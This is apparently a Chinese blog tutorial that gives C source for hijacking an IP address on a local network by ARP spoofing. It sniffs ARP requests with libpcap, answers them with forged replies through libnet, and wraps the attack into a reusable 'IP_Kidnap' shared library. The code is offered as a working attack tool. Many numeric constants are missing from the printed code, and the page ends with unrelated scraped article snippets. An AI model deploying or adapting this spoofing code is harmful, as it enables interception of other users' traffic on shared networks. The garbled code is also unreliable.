基于ARP的局域网IP劫持——C语言实现
我站在 烈烈风中
恨不能 荡尽绵绵心痛
望苍天 四方云动
剑在手
问天下谁是英雄
——《霸王别姬》
阅读这篇文章之前,请确认已经熟悉ARP报文伪造的方法,可参考《ARP数据包伪造》。
请看下图,这是全篇文章的鸟瞰:
要想实现上图的工作流程,必须实现两个模块:
•自由的伪造ARP报文
•抓取并分析所有流经网卡的数据包
从上图中可以看出,我们可以通过BPF或者DLPI层实现数据包的抓取分析,而tcpdump的根基——libpcap库,正是对BPF层的二次封装实现的C库,我们将通过它来实现数据包的抓取分析。
关于libpcap的基础使用,请参考这篇文章《libpcap使用》。
下面给出一个简单的libpcap过滤抓包的程序:
- #include <pcap.h>
- #include <time.h>
- #include <stdlib.h>
- #include <stdio.h>
- unsigned char glTargetIP[]={,,,};
- char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast ";
- unsigned char glRetargetMac[]={ 0x00,0x11,0x11,0x22,0x22,0xff };
- char * glNICStr="eth2";
- void getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)
- {
- int * id = (int *)arg;
- unsigned char * src_ip =glTargetIP;
- unsigned char * src_mac=glRetargetMac;
- unsigned char * dst_ip =packet+;
- unsigned char * dst_mac=packet+;
- printf("id: %d\n", ++(*id));
- printf("Packet length: %d\n", pkthdr->len);
- printf("Number of bytes: %d\n", pkthdr->caplen);
- printf("Recieved time: %s", ctime((const time_t *)&pkthdr->ts.tv_sec));
- int i;
- for(i=; i<pkthdr->len; ++i)
- {
- printf(" %02x", packet[i]);
- if( (i + ) % == )
- {
- printf("\n");
- }
- }
- printf("\n\n");
- }
- int main ()
- {
- char errBuf[PCAP_ERRBUF_SIZE], * devStr;
- struct bpf_program filter;
- /* get a device */
- devStr = pcap_lookupdev(errBuf);
- if(devStr)
- {
- printf("success: device: %s\n", devStr);
- }
- else
- {
- printf("error: %s\n", errBuf);
- exit();
- }
- /* open a device, wait until a packet arrives */
- pcap_t * device = pcap_open_live(glNICStr, , , , errBuf);
- if(!device)
- {
- printf("error: pcap_open_live(): %s\n", errBuf);
- exit();
- }
- /* set filter */
- pcap_compile( device,&filter,glBpfCmd,, );
- pcap_setfilter(device ,&filter );
- /* wait loop forever */
- int id = ;
- pcap_loop(device, -, getPacket, (u_char*)&id);
- pcap_close(device);
- return ;
- }
- gcc name.c -lpcap -o name
结合ARP报文伪造模块,下面给出完整实现代码:
- #include <pcap.h>
- #include <time.h>
- #include <stdlib.h>
- #include <stdio.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <unistd.h>
- #include <libnet.h>
- #define MAC_ADDR_LEN 6
- #define IP_ADDR_LEN 4
- unsigned char glTargetIP[]={,,,};
- char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast ";
- unsigned char glRetargetMac[]={ 0x00,0x11,0x11,0x22,0x22,0xff };
- char * glNICStr="eth2";
- int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,
- unsigned char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes )
- {
- static char padPtr[];
- libnet_t *net_t = NULL;
- char err_buf[LIBNET_ERRBUF_SIZE];
- libnet_ptag_t p_tag;
- unsigned int i=;
- printf("the src_ip_str is ,uint32 src_ip is %d\n",src_ip);
- printf("the dst_ip_str is ,uint32 dst_ip is %d\n",dst_ip);
- net_t = libnet_init(LIBNET_LINK_ADV, dev, err_buf);
- if(net_t == NULL)
- {
- printf("libnet_init error\n");
- return ;
- }
- p_tag = libnet_build_arp(
- ARPHRD_ETHER,//hardware type ethernet
- ETHERTYPE_IP,//protocol type
- MAC_ADDR_LEN,//mac length
- IP_ADDR_LEN,//protocol length
- arpOp,//op type
- (u_int8_t *)src_mac,//source mac addr
- (u_int8_t *)src_ip,//source ip addr
- (u_int8_t *)dst_mac,//dest mac addr
- (u_int8_t *)dst_ip,//dest ip addr
- padPtr,//payload
- ,//payload length
- net_t,//libnet context
- //0 stands to build a new one
- );
- if(- == p_tag)
- {
- printf("libnet_build_arp error\n");
- libnet_destroy(net_t);
- return ;
- }
- p_tag = libnet_build_ethernet(//create ethernet header
- (u_int8_t *)dst_mac,//dest mac addr
- (u_int8_t *)src_mac,//source mac addr
- ETHERTYPE_ARP,//protocol type
- padPtr,//payload
- ,//payload length
- net_t,//libnet context
- //0 to build a new one
- );
- if(- == p_tag)
- {
- printf("libnet_build_ethernet error!\n");
- libnet_destroy(net_t);
- return ;
- }
- int res;
- i=;
- for(;i<sendTimes;i++)
- if(- == (res = libnet_write(net_t)))
- {
- printf("libnet_write error!\n");
- libnet_destroy(net_t);
- return ;
- }
- libnet_destroy(net_t);
- return ;
- FAIL:
- libnet_destroy(net_t);
- return ;
- }
- void getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)
- {
- int * id = (int *)arg;
- unsigned char * src_ip =glTargetIP;
- unsigned char * src_mac=glRetargetMac;
- unsigned char * dst_ip =packet+;
- unsigned char * dst_mac=packet+;
- ForgeAndSendArp(glNICStr,src_mac,dst_mac,src_ip,dst_ip,ARPOP_REPLY,);
- printf("id: %d\n", ++(*id));
- printf("Packet length: %d\n", pkthdr->len);
- printf("Number of bytes: %d\n", pkthdr->caplen);
- printf("Recieved time: %s", ctime((const time_t *)&pkthdr->ts.tv_sec));
- int i;
- for(i=; i<pkthdr->len; ++i)
- {
- printf(" %02x", packet[i]);
- if( (i + ) % == )
- {
- printf("\n");
- }
- }
- printf("\n\n");
- }
- int main ()
- {
- char errBuf[PCAP_ERRBUF_SIZE], * devStr;
- struct bpf_program filter;
- /* get a device */
- devStr = pcap_lookupdev(errBuf);
- if(devStr)
- {
- printf("success: device: %s\n", devStr);
- }
- else
- {
- printf("error: %s\n", errBuf);
- exit();
- }
- /* open a device, wait until a packet arrives */
- pcap_t * device = pcap_open_live(glNICStr, , , , errBuf);
- if(!device)
- {
- printf("error: pcap_open_live(): %s\n", errBuf);
- exit();
- }
- /* set filter */
- pcap_compile( device,&filter,glBpfCmd,, );
- pcap_setfilter(device ,&filter );
- /* wait loop forever */
- int id = ;
- pcap_loop(device, -, getPacket, (u_char*)&id);
- pcap_close(device);
- return ;
- }
这个工具的验证结果已经在文章鸟瞰图中给出。
下面,我们将这段代码封装成为一个共享库,以供其他程序调用。
- // # gcc name.c -lnet -lpcap -shared -fPIC -o name.so
- #include <pcap.h>
- #include <time.h>
- #include <stdlib.h>
- #include <stdio.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <unistd.h>
- #include <libnet.h>
- #define MAC_ADDR_LEN 6
- #define IP_ADDR_LEN 4
- static unsigned char * glTargetIP;
- static char * glBpfCmd;
- static unsigned char * glRetargetMac;
- static char * glListenNICStr;
- static char * glSendNICStr;
- int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,
- unsigned char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes )
- {
- static char padPtr[];
- libnet_t *net_t = NULL;
- char err_buf[LIBNET_ERRBUF_SIZE];
- libnet_ptag_t p_tag;
- unsigned int i=;
- printf("the src_ip_str is ,uint32 src_ip is %d\n",src_ip);
- printf("the dst_ip_str is ,uint32 dst_ip is %d\n",dst_ip);
- net_t = libnet_init(LIBNET_LINK_ADV, dev, err_buf);
- if(net_t == NULL)
- {
- printf("libnet_init error\n");
- return ;
- }
- p_tag = libnet_build_arp(
- ARPHRD_ETHER,//hardware type ethernet
- ETHERTYPE_IP,//protocol type
- MAC_ADDR_LEN,//mac length
- IP_ADDR_LEN,//protocol length
- arpOp,//op type
- (u_int8_t *)src_mac,//source mac addr
- (u_int8_t *)src_ip,//source ip addr
- (u_int8_t *)dst_mac,//dest mac addr
- (u_int8_t *)dst_ip,//dest ip addr
- padPtr,//payload
- ,//payload length
- net_t,//libnet context
- //0 stands to build a new one
- );
- if(- == p_tag)
- {
- printf("libnet_build_arp error\n");
- libnet_destroy(net_t);
- return ;
- }
- p_tag = libnet_build_ethernet(//create ethernet header
- (u_int8_t *)dst_mac,//dest mac addr
- (u_int8_t *)src_mac,//source mac addr
- ETHERTYPE_ARP,//protocol type
- padPtr,//payload
- ,//payload length
- net_t,//libnet context
- //0 to build a new one
- );
- if(- == p_tag)
- {
- printf("libnet_build_ethernet error!\n");
- libnet_destroy(net_t);
- return ;
- }
- int res;
- i=;
- for(;i<sendTimes;i++)
- if(- == (res = libnet_write(net_t)))
- {
- printf("libnet_write error!\n");
- libnet_destroy(net_t);
- return ;
- }
- libnet_destroy(net_t);
- return ;
- FAIL:
- libnet_destroy(net_t);
- return ;
- }
- void static getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)
- {
- int * id = (int *)arg;
- unsigned char * src_ip =glTargetIP;
- unsigned char * src_mac=glRetargetMac;
- unsigned char * dst_ip =packet+;
- unsigned char * dst_mac=packet+;
- ForgeAndSendArp(glSendNICStr,src_mac,dst_mac,src_ip,dst_ip,ARPOP_REPLY,);
- printf("id: %d\n", ++(*id));
- printf("Packet length: %d\n", pkthdr->len);
- printf("Number of bytes: %d\n", pkthdr->caplen);
- printf("Recieved time: %s", ctime((const time_t *)&pkthdr->ts.tv_sec));
- int i;
- for(i=; i<pkthdr->len; ++i)
- {
- printf(" %02x", packet[i]);
- if( (i + ) % == )
- {
- printf("\n");
- }
- }
- printf("\n\n");
- }
- /* args example
- static unsigned char glTargetIP[4]={192,168,1,99};
- static char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast ";
- static unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };
- static char * glListenNICStr="eth2";
- static char * glSendNICStr="eth2";
- */
- int IP_Kidnap ( unsigned char * TargetIP,char * BpfCmd,
- unsigned char * RetargetMac,char * sendNICStr ,char * listenNICStr )
- {
- char errBuf[PCAP_ERRBUF_SIZE], * devStr;
- struct bpf_program filter;
- glTargetIP=TargetIP;
- glBpfCmd=BpfCmd;
- glRetargetMac=RetargetMac;
- glSendNICStr=sendNICStr;
- glListenNICStr=listenNICStr;
- /* get a device */
- devStr = pcap_lookupdev(errBuf);
- if(devStr)
- {
- printf("success: device: %s\n", devStr);
- }
- else
- {
- printf("error: %s\n", errBuf);
- exit();
- }
- /* open a device, wait until a packet arrives */
- pcap_t * device = pcap_open_live(glListenNICStr, , , , errBuf);
- if(!device)
- {
- printf("error: pcap_open_live(): %s\n", errBuf);
- exit();
- }
- /* set filter */
- pcap_compile( device,&filter,glBpfCmd,, );
- pcap_setfilter(device ,&filter );
- /* wait loop forever */
- int id = ;
- pcap_loop(device, -, getPacket, (u_char*)&id);
- pcap_close(device);
- return ;
- }
编译后的结果:
函数原型:
- int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,
- unsigned char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes )
- /*
- dev : pointer to nic name, "eth0" for example.
- src_mac : pointer to uchar array[6],like'unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };'
- dst_mac : similar as src_mac
- src_ip : pointer to uchar array[4],like'unsigned char glTargetIP[4]={192,168,1,99};'
- dst_ip : similar as src_ip
- arpOp : ARPOP_REQUEST for 1,ARPOP_REPLY for 2,i.e.
- sendTimes : how many times this packet you want to send
- */
- int IP_Kidnap ( unsigned char * TargetIP,char * BpfCmd,
- unsigned char * RetargetMac ,char * listenNICStr ,char * sendNICStr )
- /*
- TargetIP: the IP you want kidnap, like ' unsigned char TargetIP[4]={192,168,1,99}; '
- BpfCmd : bpf filter cmd,like 'char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast ";'
- RetargetMac: which mac addr you want to retarget, like ' unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };'
- ListenNICStr: which nic you want listen,like ' char * glListenNICStr="eth2";'
- SendNICStr : which nic you want the forged-packet send out,like ' char * glSendNICStr="eth2";'
- */
附录:
基于ARP的局域网IP劫持——C语言实现的更多相关文章
- 使用ARP获取局域网内设备IP和MAC地址
根据Arp列表数据,查询本地设备在线状态 使用 arp -a 获得所有内网地址,首先看Mod对象 public struct MacIpPair { public string HostName; p ...
- Android基于UDP的局域网聊天通信
代码地址如下:http://www.demodashi.com/demo/12057.html 记得把这几点描述好咯:代码实现过程 + 项目文件结构截图 + 演示效果 1. 开发环境 1.1 开发工具 ...
- 中间人攻击-Arp之局域网内DNS欺骗
基础知识 网关是啥? 网关是工作在OSI七层模型中的传输层或者应用层,用于高层协议的不同网络之间的连接,网关就好比一个房间通向另一个房间的一扇门. ARP协议 假设A(192.168.1.2)与B(1 ...
- Linux将公网ip映射到局域网ip
测试环境如下: monitor: msc1:公网IP:103.6.164.128 eth0 内网IP:192.168.0.57 eth0内网IP:192.168.0.16 eth1 通过访问monit ...
- 基于ARP的网络扫描工具netdiscover
基于ARP的网络扫描工具netdiscover ARP是将IP地址转化物理地址的网络协议.通过该协议,可以判断某个IP地址是否被使用,从而发现网络中存活的主机.Kali Linux提供的netdi ...
- 局域网IP段
局域网的出现,一方面解决内部安全问题,另一个方面解决ipv4不够用的问题.局域网方便维护和管理,目前局域网Ip地址段为 局域网地址范围分三类: C类:192.168.0.0-192.168.255.2 ...
- 基于gSOAP使用头文件的C语言版web service开发过程例子
基于gSOAP使用头文件的C语言版web service开发过程例子 一服务端 1 打开VS2005,创建一个工程,命名为calcServer. 2 添加一个头文件calc.h,编辑内容如下: 1// ...
- 基于Oracle OCI的数据访问C语言接口ORADBI .
基于Oracle OCI的数据访问C语言接口ORADBI cheungmine@gmail.com Mar. 22, 2008 ORADBI是我在Oracle OCI(Oracle 调用接口)基础 ...
- C#获取本机局域网ip和公网ip
1.获取局域网ip IPAddress ipAddr = Dns.Resolve(Dns.GetHostName()).AddressList[0];//获得当前IP地址 string ip=ipAd ...
随机推荐
- confd与etcd的使用
Add keys This guide assumes you have a working etcd, or consul server up and running and the ability ...
- iOS常识名词解释 2016/04/05
Bundle : http://www.cnblogs.com/BigPolarBear/archive/2012/03/28/2421802.html http://blog.sina.com.cn ...
- 【模板】NTT
NTT模板 #include<bits/stdc++.h> using namespace std; #define LL long long const int MAXL=22; con ...
- 【java基础】Java的retry标记的使用
说明:其实retry就是一个标记,标记程序跳出循环的时候从哪里开始执行,功能类似于goto.retry一般都是跟随者for循环出现,第一个retry的下面一行就是for循环,而且第二个retry的前面 ...
- 在Eclipse中导入dtd和xsd文件,使XML自动提示
DTD 类型约束文件 1. Window->Preferences->XML->XML Catalog->User Specified Entries窗口中,选择Add ...
- numpy 排序, 查询功能
https://docs.scipy.org/doc/numpy/reference/routines.sort.html
- gradle multiproject && docker build
备注: 环境准备 : docker , gradle(使用wrapper,或者全局安装),测试环境使用mac 1. gradle 安装 brew install gradle 2. docke ...
- @RequestParam和@RequestBody的区别-------springMVC
https://blog.csdn.net/qq_27093465/article/details/50519444 @RequestParam 1,用来处理Content-Type: 为 appli ...
- bzoj3258秘密任务
题目:https://www.lydsy.com/JudgeOnline/problem.php?id=3258 因为只走最短路,所以先正反两遍djkstra,新建边. 这里的边是单向边.所以要用原来 ...
- JVM内存管理之杂谈(借此也论一论obj=null)
作为一个程序猿,修炼的过程就犹如玄幻小说中的主角,不仅需要练习各种武技,内气的修炼的一样重要.虽然武技可以迅速的提升主角的实力,但是在内气太差的情况下,根本发挥不出武技的十之一二. 因此,在介绍过设计 ...